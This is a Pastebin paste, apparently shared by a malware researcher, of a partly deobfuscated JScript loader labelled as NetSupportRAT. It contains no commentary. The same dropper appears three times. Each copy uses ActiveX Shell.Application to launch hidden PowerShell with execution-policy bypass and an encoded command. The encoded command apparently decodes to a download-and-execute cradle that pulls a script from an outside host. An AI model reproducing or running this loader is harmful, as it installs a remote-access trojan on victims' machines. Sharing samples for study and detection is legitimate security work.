API tools faq
paste
brianyaucy

NetSupportRAT - Obfuscated JavaScript - Deobfuscated 2

brianyaucy
Nov 2nd, 2023
756
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 2.60 KB | None | 0 0
raw download clone embed print report
  1. //UmExrsgJuDvLhVadkAWOTICPXF
  2. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  3. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  4. "mdAta\\mIcRosOft\\wINdoWs")) {
  5. //YhALZvBkfyGVcEPoHRNqIM
  6. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  7. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  8. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  9. "BFAFgAIAAoA"+ //IxqOgMKi
  10. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  11. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  12. "AaQBuAGcAKA"+ //IxqOgMKi
  13. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  14. "OgAvAC8"+ //IxqOgMKi
  15. "AMQBvAHQ"+ //IxqOgMKi
  16. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  17. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  18. //kdbyVceRuXIHitqmTjngWxOZAG
  19. //UmExrsgJuDvLhVadkAWOTICPXF
  20. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  21. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  22. "mdAta\\mIcRosOft\\wINdoWs")) {
  23. //YhALZvBkfyGVcEPoHRNqIM
  24. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  25. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  26. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  27. "BFAFgAIAAoA"+ //IxqOgMKi
  28. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  29. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  30. "AaQBuAGcAKA"+ //IxqOgMKi
  31. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  32. "OgAvAC8"+ //IxqOgMKi
  33. "AMQBvAHQ"+ //IxqOgMKi
  34. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  35. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  36. //kdbyVceRuXIHitqmTjngWxOZAG
  37. //UmExrsgJuDvLhVadkAWOTICPXF
  38. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  39. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  40. "mdAta\\mIcRosOft\\wINdoWs")) {
  41. //YhALZvBkfyGVcEPoHRNqIM
  42. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  43. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  44. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  45. "BFAFgAIAAoA"+ //IxqOgMKi
  46. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  47. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  48. "AaQBuAGcAKA"+ //IxqOgMKi
  49. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  50. "OgAvAC8"+ //IxqOgMKi
  51. "AMQBvAHQ"+ //IxqOgMKi
  52. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  53. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  54. //kdbyVceRuXIHitqmTjngWxOZAG
Tags: malware JavaScript
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!